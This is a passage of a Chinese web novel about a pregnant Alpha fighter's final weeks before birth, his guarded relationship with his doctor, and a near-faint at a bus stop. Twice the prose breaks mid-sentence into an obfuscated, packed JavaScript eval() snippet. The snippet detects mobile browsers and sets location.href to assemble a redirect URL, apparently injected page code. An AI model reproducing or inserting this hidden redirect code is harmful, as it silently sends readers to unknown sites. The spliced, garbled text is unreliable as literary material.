第二天早上,他没有像以前一样睡懒觉,而是早早地就爬了起来,坐在餐桌旁等待着某人的出现。七点半时,宁祁像个没事人似的走出主卧,见了他还坦然地打招呼:“真稀奇,今天起这么早?” 洛城双手环胸、目不转睛地盯着他,皮笑肉不笑的:“起来送你上班啊。” 闻言,宁祁短促地瞥他一眼,笑容无懈可击地焊在脸上,像个温文尔雅的面具。他手里拿着盒护手霜慢慢地擦拭,那动作几乎有些刻意了:“那怎么不帮我热一份早点?”说着,他用手指挑起一小块护手霜抹到了洛城手背上,道:“你也擦擦吧,这天气干燥得要命,皮肤都干得起屑了。” 那瞬间,洛城闻到了一股熟悉的兰花香气,好像是昨夜宁祁手上的味道。不由一怔,他抬起手嗅一嗅,狐疑道:“你怎么突然开始擦护手霜了?” “没有突然啊,入秋后我就一直有擦的,只不过前两天换了个款式。”他神情坦然不似作伪,洛城将信将疑地拧拧眉,也没有再追问。低下头若有所思地将那块护手霜缓缓抹开,那股幽雅而沁人的兰花香味就留在了自己手上,手背的皮肤也变得滋润柔亮,不再紧绷。 这时,宁祁拿着热好的包子豆浆回到桌旁,见状便笑:“我说的没错吧,是不是舒服很多?要不这盒就给你用了。回头我再给你买个擦肚子的,防止长妊娠纹。” “不必。”洛城瞪他一眼,声线依旧低沉:“我说过了,我不喜欢兰花香,你换个别的给我。” “行行行,”宁祁温和地笑,百依百顺道:“给你买个柠檬味儿的。” ------------------ 大雪之后,天气愈发地冷了。 孕期满了32周。洛城开始做胎心监护。他以为这只是个小检查,肯定像之前那些检查一样,轻轻松松一次过,却没想到第一次胎监就失败了——原因是小家伙不怎么动!苏林菲问他:“是不是在睡觉呢?”洛城摇摇头:“她本来不爱动,好久才慢悠悠转一下,能蹬两脚都不错了。” 于是宁祁从大厅售卖机那儿买来一块巧克力让他吃,又放了段比较吵闹的音乐,企图让宝宝活跃一些。可第二次做的时候,小家伙依旧是安安静静地窝在肚子里,丝毫不为外界的干扰所影响。没办法,宁祁只好让洛城站起来:“你摸摸肚皮,找到她屁股的位置,托两下,把她晃醒。” 屁股的位置?洛城疑惑地把手贴到肚皮上,沿着下腹一点点摸,还真找到了宝宝的小屁股!不禁惊异地瞪大眼,他兴奋道:“居然真的能摸到哎!”苏林菲也笑:“你体重控制得好,本来脂肪也薄,摸个胎不是轻轻松松么!” 于是托住那个位置轻轻摇晃,洛城自己也小蹦小跳地四处转悠,一边转还一边念:“宝啊,你给个动静好不好?你爹我当年可是闹腾得不行,把你奶奶踹得肋骨都疼呢。你也踹我一下行不?” 正说着,左边肋骨那儿果真传来一阵疼痛——小家伙结结实实地蹬了他一脚!当即被踹得早餐差点儿吐出来,洛城疼得倒吸一口凉气,赶忙招来苏林菲搀扶:“快……快做胎心监护,她动了!” 这一次检查终于过了,但课题小组对宝宝这不紧不慢的性子都表示担忧:“他这么不爱动,哪天出了问题都难发觉。还是先做个脐血流检查,再租个胎心监护回去。” 还要租个胎心监护啊?洛城不明所以地跟着他们去做脐血流检查,确认过宝宝在宫内没有缺氧后,苏林菲拿来一个胎心监护仪递到他手里,认真地教他如何使用。洛城心不在焉地听了一会儿,不解道:“没必要这么夸张吧?我这娃虽然懒点儿,但每天还是会动几下的。能数到胎动不就行了?” “你这种才更要小心好吗!”苏林菲“啧”一声,显然被他的随心所欲气得不轻:“人家动得频繁的,出了问题就能很快发觉,你的呢?他不动的时候,你知道他是在偷懒还是脐带扭转啊?……对待这事儿要认真知道吗!要是在孕晚期出了问题,你哭都没地方哭去!” 洛城听得心里一紧,不禁望向宁祁和莫医生、方医生:“真有这样的啊?” “真的有。”他们都无奈地点头,“咱们科室今年就遇上好几个,都是37周、38周的时候忽然胎心减弱,剖开后不是脐带扭转就是脐带绕颈,有一个还自己攥住脐带,硬生生把自个儿憋死了。” “……这都足月了啊。”不禁喃喃地低语一句,洛城失神地想象着什么……忽然浑身一颤,抬起头用力攥住苏林菲的手,后怕地道:“苏妹妹,我错了,你再给我讲讲这个胎心监护怎么用吧!我一定会用心学的!” 好笑地白他一眼,苏林菲哼一声:“这还差不多!” ---------------- 自那之后,洛城在家里便常常摆弄胎心监护仪。早餐过后测一次,午餐过后测一次,午睡起来还要再测一次。他那认真的模样每次都看得宁祁不由自主地发笑——人高马大一个Alpha,为了方便把一头半长卷发扎成小马尾揪揪,宽松毛衣拉起来,露出被肌肉牢牢包裹的紧绷绷大肚子,仿佛下一秒就要被撑裂开似的。 洛城的肚子上还没出现妊娠纹,浅蜜色的光滑大肚皮,绑上胎心监护仪后更显得鼓鼓囊囊。他找胎心还不是太熟练,拿着探头到处滑,一会儿拧眉、一会儿咋舌,似乎气恼肚子里的宝宝不配合自己。宁祁看得无奈,心里亦蠢蠢欲动,便试探着走上前问:“要不要我帮你?” 若放在以前,洛城恐怕就答应了。但28周时发生了那件似是而非的事,他心里对宁祁产生了一丝芥蒂,这时便瞪他一眼,冷冷道:“不用,我自己来。” 宁祁碰了个冷钉子,也不敢再穷追不舍,只得悻悻一笑,返身回房。房门关上的那一瞬,他的脸便挂了下来,无框眼镜后的眼睛懊丧而愤懑,牙关隐隐错动。 他忍不住想:你别忘了,你还住在我家里呢!寄人篱下不知道低头,还这么趾高气昂……但同时他又很清楚,这话是万万不能对洛城说的。因为那厮绝对会眉毛一挑,有恃无恐地道:好啊,那我去别的医院? ……于是只能硬生生地忍下来,继续装作人畜无害、童叟无欺。一次操之过急换来变本加厉的束手束脚,说不后悔那是假的。但宁祁最不缺的就是耐心——洛城起码还要在他这儿待六个月。半年的时间,足够他做很多事情了。 --------------------- 天气越来越冷。 十二月底,申城下了一场大雪,将小区里不少大树压塌了。洛城穿着毛衣立在落地窗前向下看,袜子也不穿,光脚站在暖烘烘的地板上,大惊小怪地跟宝宝自言自语:“我的妈呀,倒了好多树啊!宝宝你看,那棵最粗的树都倒了……今年的雪真大啊。” 晃悠没一会儿,又感觉饿了。想到冰箱里的全麦面包,洛城那个垂涎欲滴,脑子里只剩下“吃”这个字。可他现在已经“超重”了,十二公斤的涨幅放在一米八氿的身材上虽然不算明显,但已经远超宁祁规定的数值。加上35周做B超时,宝宝预估的体重已经达到了五斤六两,于是前两天,这厮又一次下了死命令: “你的饮食要控制得更严格一点!最后这个月你的涨幅要是超过三公斤,顺产撕裂的可能性就更大了!……你也不想被侧切一刀吧?” 闻言,洛城浑身一悚,条件反射地绷紧了屁股。 ……可孕期的饥饿哪是那么好抵抗的?只撑了不到十五分钟,他就开始头昏眼花、脚下发软。心中不禁大叫不妙,洛城赶忙站起身走向冰箱,但迅速变快的心跳几乎抽走他的所有力量,脑袋沉重得像灌了铅似的,拽着身体往一侧偏去,跌跌撞撞地一直歪到了墙边! 赶忙伸手扶住墙壁,洛城勉力凝聚精神,眼前这才稍稍清明一些。摇摇欲坠地蹭到冰箱边上,他顾不上太多,拿出冰冷的全麦面包便往嘴里塞,用唾液濡湿粗粝的纤维,迫切地咀嚼、研磨、咽进喉咙。狼吞虎咽了约莫三分钟,那种头晕眼花的感觉终于有所缓解,心跳也逐渐平和。 逃过一劫,洛城长吁一口气,靠着冰箱跌坐在地。高耸的肚子沉重地压在大腿根上,使两条长腿不得不岔开、撇向两边。低头看看自己难堪的坐相,他嘴角一撇,不禁露出苦笑,半晌,手里撕下一大块面包,又塞进了嘴里。 ……原来怀孕是这么折磨人的一件事。 随着2月7日预产期的临近,各种各样的反应愈发严重,折磨得洛城痛不欲生。频繁的起夜尿尿毁了他的睡眠,他变得极度疲惫,白天也没心思锻炼了;胃部严重反酸,吃一点儿就烧得慌;平躺难受,侧躺也难受,肋骨被挤压得隐隐作痛,靠坐又压迫到尾巴骨和股骨,真是怎么躺都不舒服;小腿下部到脚掌也开始浮肿,一按就是一个小浅坑,他不得不每天泡脚,再辅以清淡没味儿的萝卜汤,这才将水肿慢慢控制下来。 傍晚宁祁下班回来,会看见他生无可恋地靠坐在沙发上,后背垫了数个抱枕,整个身体呈现一种似躺非躺的姿势。唤他一声,他会恹恹地望过来,声音沙哑地问一句:“现在能生了吗?帮我催产吧,我不想怀了。” 宁祁平常虽然笑眯眯的,但是一旦涉及到原则问题,他就是最铁面无私的那个:“38周和36周的宝宝是完全不一样的,肺部发育更完全,身体更健壮。所以,你是选择宝宝受苦,还是自己受苦呢?” ……操,你都这样说了,我还有得选吗!绝望地闭上眼,洛城真想就这么一睡不起:“好好好,我继续捱着!反正只剩下四个星期了。” 他这样捱着捱着,不知不觉就快过年了。洛城一个无父无母的“孤儿”,自然是没什么打算,只能躺在宁祁家里继续混日子。倒是宁祁,他居然也不准备回家过年,说要留在申城:“你现在孕晚期,随时有可能发动,身边离不了人的,我哪儿敢走?一次过年而已,等你生了,我再请个年假回去也是一样的。” 洛城将信将疑地瞥向他:“你爸妈不催你回家?” 宁祁无所谓地耸耸肩,淡淡一笑:“只要我说是医院科研的要求,他们会举双手双脚赞成的。” ---------------- 一月十八号那天,各大机关和公司陆续开始放假,申城眨眼间从热闹非凡变得冷冷清清,街上行人和车都少了许多。 宁祁载着洛城去医院做了年前最后一次检查。一下车,洛城就看见医院的大门两侧挂着红彤彤的过年灯笼,对联和横幅也贴上了,那叫一个喜气洋洋。他冷不丁想起什么,“噗”一声笑出来,忍不住扭头问宁祁:“你们不是最忌讳红红火火吗,怎么,过年居然也张灯结彩啊?” “忌讳是忌讳,过年是过年,不一样的嘛。”洛城难得跟他开玩笑,宁祁自然是笑脸相迎,体贴地为他拉住玻璃门:“走吧,咱们去看看宝宝怎么样了。” 目前洛城的孕周是37周+2天,宝宝的预估体重已经达到了六斤七两,真就是一天一个样。双顶径是85mm,头围305mm,都偏小,但股骨居然长达76mm!看着这个数据,课题小组的人都不禁望向洛城的大长腿和卷发脑袋,苏林菲更是反应神速,迅速摸了条软尺奔过去量他的头围:“55cm……!靠,你的头发真唬人啊,我以为你的头围至少有60呢!” “看来宝宝是遗传了你的大长腿和小脑袋。”宁祁说。接着又做了一次胎心监护和脐血流检查,结果一切良好。二人便放下心,作别课题小组,开车去了超市。 虽然没打算正经过年,但好歹也要买些应景的食材,好好做几个大菜。洛城今日照例是全副武装,头戴毛线帽、面覆口罩,身上穿了件十足宽松的黑色短款羽绒服,下摆蓬蓬的,完美地掩盖了大肚子。 他两条大长腿完全没有走形,只屁股肉厚了一点、小腿以下浮肿了一点,但穿上宽松的运动长裤后也不怎么明显,乍看上去依旧是以前那个身材高挑的格斗运动员。 宁祁去生鲜区买鱼和肉去了,洛城就推着购物车在零食货架间百无聊赖地穿行,望梅止渴。半个钟后,当宁祁满载而归,就见这人满眼渴望地对着货架上一款老式夹心饼干咽口水。见自己过来,他还眼睛一亮,兴致高昂地拿起一包:“你记不记得这个饼干? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13678564|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小时候街上经常卖的,又酥又甜,里面的糖霜特别好吃!” 宁祁淡淡地瞟一眼,这次却一反常态地没有附和他:“这有什么好吃的?夹心都是廉价的香精味,我小学三年级就不爱吃了。” “是吗。”扁扁嘴,洛城略显失望,但还是偷偷地放了一包进购物车里。一会儿来到饮料区,这人又发现了童年记忆:“这个甜牛奶!现在居然还在产啊?我拿两瓶……” 宁祁头疼地看着他,语重心长道:“都是添加糖,喝多了会长体重的!” “我每天喝一点儿,就一点儿!”信誓旦旦地保证着,洛城陆续又拿了许多零食,什么米果卷、豆腐干,他还很有道理:“过年嘛,备点儿年货很正常……我也不吃多,每天一点点,解个馋罢了。” 无奈,宁祁见他拿得确实不算太多,只好长叹一口气,随他去罢。 ---------------- 年前三天开始大扫除。洛城行动不方便,于是所有清洁事务全压在了宁祁身上。这家伙摊手摊脚的,全程躺在沙发上舒舒服服地看着他劳作,不时还要指指点点:“哎,那个窗户缝缝没擦,左上角玻璃还是脏的……” 宁祁耐着性子忍受着,逐渐在劳累和热汗中感到一丝心浮气躁:要不是你这特殊的体质和世界前十的排名,我才不……咬着牙默默咽一口气,垫个凳子将窗帘都取了下来,扛去清洗。望着他被堆叠的布料压弯的高挑身影,洛城丝毫没觉得心虚,反而还揶揄地喊一声:“你不如请几个钟点工算了!干嘛要自己搞卫生,又脏又累的……” 说到这儿,他忽然一愣,想起了敏姨——临近过年,不知敏姨是回她女儿家了,还是继续留在雇主那儿?虽说女儿是至亲,但她在那个家里终究是客人,也不一定待得舒服的……想到这个可能,洛城忍不住心痒痒地拿出手机,给敏姨发了条短信: “敏姨,你今年在哪儿过啊?回老家了吗?” 过了半个来钟,敏姨才给他回话:“没呢!我留在申城,在我现在的雇主家里。他也不回老家,我就跟他一起过,两个人简简单单的,倒也清净。” “是吗?”默默地有点儿羡慕那个雇主,洛城心想,我要是没怀孕,今年肯定也是跟敏姨一起过的吧?敏姨说不定还会做香肠和腊肉呢,还有她最拿手的烟熏蛋黄猪肝……想得都要流口水了,洛城扁扁嘴,忽然感觉心里酸溜溜的:“姨,明年过年,我跟你一起过好不好?我给你打下手,帮你一起灌香肠,做各种年货……” “好好好!”敏姨连回三个好字,俨然在手机那头笑开了花。 ---------------- 一月二十二日,大年三十。这一天天气很冷,外头阴雨绵绵的,街上几乎看不到一个行人,都窝在家里。洛城吃过宁祁煮的年夜饭之后就长到沙发上了,侧身靠着扶手,一边看春晚一边百无聊赖地翻看微信上的各种拜年信息,不时难受地翻动一下,又或者爬起来上个厕所。 从早上开始,他就感觉下腹涨涨的,膀胱被压得难受,喝了水没一会儿就要去尿尿。不过他的呼吸倒是顺畅了,胃口也开了,不再像以前那样吃一点儿就撑得慌,年夜饭时还罕见地吃了好几块大排骨,又扫了半条清蒸鲈鱼。宁祁稀奇地看着他,忽然间醍醐灌顶:“是不是宝宝入盆了?” “啊,什么入盆?”洛城不明所以地撕咬着排骨,咽下去一大口肉。宁祁让他站起身,说着就要伸手来摸,却被洛城一巴掌打开,在手背上留下一片夸张的红肿:“你干什么!要摸我自己能摸,你告诉我怎么操作就行。” ……戒心还是这么重。不甘地咬咬唇,宁祁耐着性子道:“你摸摸看,肚子是不是比以前下垂了,再摸摸看宝宝的头是不是顶在下腹。” 洛城不明所以地把手伸进毛衣下摆摸一下,好像是比以前下坠了点儿,耻骨也有些酸胀。他拧眉道:“好像是……撑得我难受。” 宝宝入了盆,生产就近在眼前了,随时都有可能发动。宁祁当即决定,年后带洛城一起去上班:“说不定什么时候就会生的……你一个人在家太不让人放心了,还是跟我一起去医院吧,这样也方便生产。” ……至于这么夸张吗?我一个运动员,宫缩了难道不会自己打的去医院啊?洛城不置可否,但没敢说,哼哼一声算是答应了。 吃过饭躺在沙发上,他翻着千篇一律的拜年信息,挑了几个关系好的回复:“陆良!你小子,夏天那会儿就说要备孕,怎么样,备上没有啊?” 陆良大笑:“早备上了!现在都四个月了,你记得给你大侄子准备好红包!” 洛城也大笑:“你别得意!我这边更早呢,2月7日的预产期——你的红包准备好没有啊?” 这一句话把陆良给干懵了:“啊?什么玩意儿,你几时办的事儿啊,怎么就要生了?” “哎呀,一言难尽。”洛城不想细说,干脆用一种渣男的语调糊弄过去:“反正我告诉你,我家宝宝很快就要出生了,你备好红包就行!满月酒那天我请你吃饭,到时候再跟你交待事情的来龙去脉。” “好好好,那我就等着吃满月酒。” 逗完老友陆良,他又去撩曹教练:“磊哥,新年好!过完年我家宝宝就要出生了,你记得准备好红包啊!” 曹磊嫌弃地骂他:“我给个屁红包!你都不带弟妹来给我看,自己还溜个没影,我以为你准备跟登峰毁约,签到腾云去了呢!” “哎哟哪里的话,我怎么可能抛下磊哥呢?只是最近老婆快生了嘛,心里紧张,就没心思找你们玩儿了……你再等三个月!宝宝百天后,我一定恢复训练!” “——还要等那么久啊!”隔着手机都能感觉到曹教练的气急败坏:“二月初伍沛霖就要去洛杉矶打第二场比赛了,你居然还要休息三个月!你、你是要把我气死啊你!” “哎呀磊哥,别担心嘛,三个月后我肯定好好训练,你说什么我做什么,把落下的排名全部追回来!”洛城又告饶又赌誓的,好不容易才把曹磊安抚下来。 他这样涎皮赖脸,人家也没办法,只能换个话题,聊起了登峰的新场馆:“年后旧场馆这边就要开始收拾了,陆陆续续搬到新场馆去。你别说,新馆那边特别漂亮,又宽又大!公司的办公室也会一起搬过去。也就是说,以后律总有大把的时间监视你的训练情况,你想偷懒也没机会了!” ……靠!想到那个眼高于顶的Alpha,洛城忍不住小声地咒骂一句,窝在沙发上用力翻了个白眼。 41.差点儿晕倒在公交车站 年后第七天,小护士苏林菲结束了春假,收拾行李坐高铁回申城。今年她依旧是带了两个大拖箱回,里面装满了妈妈做的梅干菜烧饼,准备拿去医院喂那群饿死鬼们——这不,还没下车呢,课题小组的莫医生就给她发信息了:“小苏,今年带烧饼了吗?有帮我多带几个吗?” 苏林菲那个心烦:“带了带了带了!你想多吃几个,那明天早上就到医院门口来接我!我带了两拖箱的烧饼回,你帮我扛上楼!” “好好好一言为定!” 第二天早上,二人刚拖着箱子到达妇产科楼层,就被热情的医护们围得水泄不通。好不容易从狼爪中救下几个逃到办公室,苏林菲打开门,就感觉一股热气扑面而来!洛城手长脚长地侧躺在皮沙发上,肚子圆鼓鼓地悬在沙发边,仿佛下一秒就会像个西瓜似的滚落下地。这优哉游哉的架势……她气喘吁吁地剜洛城一眼,把烧饼扔到他怀里,没好气道:“喏!我妈做的梅干菜烧饼,你说要吃的!” 眼睛一亮,洛城撑起身子,散乱的马尾揪揪也随之翘起来,摇摇晃晃像一撮呆毛。他抱着烧饼急吼吼地啃了一大口,随即翘起大拇指,情真意切地夸赞:“确实好吃!又脆又香,难怪他们都念叨呢!” 他吃得狼吞虎咽的,苏林菲瞥着他比年前好似更鼓了一些的肚皮,忧心忡忡道:“你现在重了多少斤啊?” “不多……三十二斤。杨主任看过了,说我羊水多,体脂率没增长多少,加上宝宝头小,应该不难生的。”对于生产,洛城很是乐观,该吃吃该睡睡,来了医院就玩手机,不时再做一做拉伸和深蹲。 “这样啊。”既然主任都发话了,那应该没什么大问题。苏林菲想一想,又问:“你待产包准备好了吗?” 闻言,洛城一怔,叼着小半块烧饼震惊望她:“这种东西不都是医院准备的么?!” “——谁跟你说医院会准备待产包啊!”苏林菲气得差点儿跳起来,赶忙掏出手机刷购物软件:“我真是服了你了!其他产妇提前两个月都准备好待产包了,你这快生了还两手空空!……你怎么一点儿也不上心啊!” 被骂了个劈头盖脸,洛城将那小半块烧饼默默咽下,老老实实地凑到小姑娘身旁一起选款式。市面上的宝宝衣多是白底碎花的风格,他看了一会儿,忍不住问:“没有粉红色的吗?” “你要粉红色的啊?早说嘛。”于是在搜索栏里输入“粉红”二字,出来的结果就是一片粉嫩了。洛城立即眉开眼笑,在页面中仔细打量一番,挑了个最顺眼的:“就要这个吧。正好发货地也近,明天就到货了。” “我说,你这头发要不要也理一下?”搞定待产包,苏林菲又对他的鸡窝头起了心思:“最近天那么冷,产后身体又虚弱,长头发不好打理的,你不如剪短一些。” “我也想剪啊,可你看我这样子——”洛城把腰一挺直,大肚子便愈发明显:“我敢去理发吗?我要是这样走进理发店,第二天不得上新闻啊?” “谁让你去理发店啦?”好笑地瞪他一眼,苏林菲起身到办公桌抽屉里摸出来一把剪刀,杏核眼不怀好意地一眯,露出坏笑:“剪短而已,又不需要什么技术含量,我帮你剪不就好了?” “你剪?!”洛城立刻抱住脑袋,满脸都是不信任的神情:“你别给我剪成狗啃样!” “狗啃也不要紧啊!到时候你帽子一戴,谁看得见?过俩月长长了,你身体也恢复了,再去理发店剪个好看的呗!” ……唔,这话也不无道理啊。犹豫一会儿,洛城放下手臂,视死如归地把脑袋交到了她手里:“那行,你剪吧!别给我剪太短就是了。” -------------------- 那一天接下来的时间里,洛城再也没摘过毛线帽。 下班时,宁祁一边开车一边忍不住望他,憋着笑意问:“苏林菲帮你剪得很短吗?” 洛城郁闷地坐在副驾驶上,安全带将大肚子勒得鼓鼓的,他的腮帮子也鼓鼓的:“不是短,是乱七八糟!我后脑勺就跟被挖掘机挖过一样,没一块是平的,坑坑洼洼!” 宁祁憋笑憋得嘴角都要抽筋了。 洗澡时,洛城看着镜子里自己惨不忍睹的发型,忍不住长长地、深重地叹了一口气。这狗啃的头肯定得养两个月了……这身材大概率也是。 双手托着圆鼓鼓的肚子上下抚摸,洛城越看越觉得自己像一只畸形的昆虫,大腹便便,四肢修长,完全不是一个正常的比例。他忍不住想,宝宝最多就是七八斤,羊水也不过两三斤,那其他的二十斤都是长在了哪里? 胸?唔,胸是厚了一点的,但也只是达到了重量级选手的胸肌程度,视觉效果并不夸张。背?背确实没有以前健美了,脂肪层厚了半厘米左右……屁股和大腿?扭着身子一点点比对,洛城拧着眉,忽然笑了出来,垂下眼摇摇头:算了,比较那么多有什么用?还是产后好好锻炼吧。 回房之后,他照例又做了一些运动,拉伸啊深蹲什么的,据说有助于顺产。只不过这次做到蝶型开腿时,他感觉腹部肌肉微微发紧,拉扯得整个肚子都有点儿不舒服。赶紧停下来细细感受,几分钟后,那股抽紧的感觉有所缓解,他才吁一口气,放下心来:真吓人……还以为要生了呢。 没敢再动,洛城坐到床边按摩一会儿小腿,又摸出润肤油抹了抹依旧光洁的肚皮,关上灯准备睡觉。黑暗之中,肚里的宝宝似乎没有睡意,还在轻轻地伸胳膊伸腿儿。洛城摸着肚皮上被她抻出来的鼓包,不禁低声地笑:“这么晚还不睡?干嘛,想出来跟爸爸见面啊?” 随着话音落下,肚子右侧慢慢鼓起来一块,正好是他摸着的地方,就像宝宝伸出小手跟他击掌似的。洛城忍不住大笑两声,道:“行啊,那你快点儿出来吧,正好我也熬够了。” 这一晚他睡得并不安稳。半夜起来上了几次厕所,肚子坠胀,睡着的时候也频频做梦,但睁开眼又不记得梦到了什么,整个人都是迷迷糊糊的。早上七点半,宁祁过来叫他起床,催他一起去医院。洛城困得不想说话,烦躁地抬手挥一挥,沙声道:“让我再睡会儿!我困死了……” 宁祁无奈地站在床边,半晌又推推他:“去医院再睡。” 洛城却不吭声了,双眼紧闭、眉头紧锁,一副打死也不起床的架势。加上医院那边有个产妇情况紧急,无奈,宁祁只得独自出门,临走前还不忘叮嘱他一声:“醒了就立刻来医院啊!” 回答他的只有洛城微微的鼾声。 一直睡到十点半,胃里空得发慌,这人才忙不迭地爬起来,去冰箱里找吃的。随便摸了盒牛奶喝着,洛城拿出手机打开微信,就见宁祁那边已经做完剖腹产手术了,刚给他发了几条信息:“醒了没?醒了就赶紧过来,不然大家都记挂着你。” 行行行马上来!心烦气躁,洛城把牛奶扔进垃圾桶,慢腾腾地找出外出的羽绒衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13687767|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往身上套。年后的天气依旧冷得很,他从衣柜里拿出一条灰色围巾戴上,拉高一些遮住口鼻,倒是省了戴口罩。最后用黑色毛线帽罩住狗啃的发型,他把手收进衣兜里,不紧不慢地出了门。 今天的阳光还不错,万里无云,但是风也不小,冰冷刺骨,吹得人忍不住缩头缩脑的。然而洛城这身材,即使缩着脖子也有一米八五,加上肩膀又宽、腿又长,一路上引来不少人侧目。 走到小区门口的公交车站,洛城绕过等车的人群,站到站牌后面躲风。早上十一点的时间,街上车不多,的士也不见几个。他等了一会儿没打到车,但肚子已开始微微发紧、耻骨也愈发胀痛。无法,洛城只得从站牌后头走出来,在人群背后默默地寻了个位置坐下,缓解不适。 这时,不远处有人注意到了他—— 一个上班族模样的Beta男性不确定看着这边,视线在他深邃的眉眼和高大的身材上游移,心想:这是洛城吗?看起来挺像……他是不是胖了? 摸出手机偷偷拍一张照,对方没有上前打扰,只是悄悄地关注着。洛城对他的打量毫无察觉,他正垂头坐着,眉头紧锁,聚精会神地调整呼吸——坐下之后,肚子的不适有所缓解,但没吃够早饭的恶果却开始逐渐显现: 胃里空荡荡的,出门前那点儿牛奶根本不顶用,血糖已经飞速跌至临界线。那种下一秒就要晕倒的感觉再次袭来,洛城深深地呼吸着,心中暗暗叫苦:别晕啊!这是在大街上,又那么多人……晕倒是会上新闻的! 正叫苦不迭,身旁忽然传来一阵塑料袋的窸窣动静,同时鼻尖也嗅到了一股肉馅的香气!洛城不由精神大震,扭头朝左边望去,见是一个小孩儿在吃肉包子!雪白蓬松的包子皮包裹着油润喷香的葱花肉馅,饱满的肉汁渗进疏松的气孔里,将两者接触的地方沁成浅棕的颜色…… 看得两眼发直,他用力咽一口唾沫,那瞬间什么都顾不上了,飞快地抢过包子就往嘴里塞! 人群顿时发出一声惊呼,小孩儿身后的奶奶大叫起来:“你这人怎么回事啊!怎么抢小孩儿东西吃啊!那么大个人……” 洛城狼吞虎咽地咀嚼着、吞咽着,同时又想解释,可惜两头顾不上,反而把自己噎着了。他声嘶力竭地咳嗽起来,一边摆手一边跌跌撞撞站起身,却不料脑袋一阵晕眩,他摇晃两下,又脱力地跌坐了下去! 见状,那个上班族Beta赶紧冲过来扶住他,结结巴巴道:“你没事吧?”随即回过头朝围观的众人解释:“他好像是低血糖了……应该不是无缘无故抢小孩儿东西吃的。” “是不是啊?”老奶奶怀疑地搂着自家孙子,眼神依旧警惕:“看他穿得挺讲究,难道连早饭也买不起?” 这时,洛城终于缓了过来,力竭地摆摆手,将那个Beta推开:“我出门太急了……早上没吃饭,有点发晕,不好意思啊。” 他好像也觉得很丢脸,这会儿没敢跟旁人对视,只低垂着脸站起身,摇摇晃晃地走到街边拦住了一辆的士。关上车门之后,他这才缓缓抬起头,朝那个Beta看了一眼:“谢谢你啊。” 说话间,围巾松垮地垂下来,露出了一张微微浮肿的蜜色面颊。虽然跟以前不大一样了,但对方还是认了出来——这就是在公众视野中消失了大半年的洛城!不禁惊愕地怔在人群之中,上班族恍惚地眨眨眼,低头望向刚才扶着他小腹的那只手——洛城他,怎么胖了那么多,都有啤酒肚了?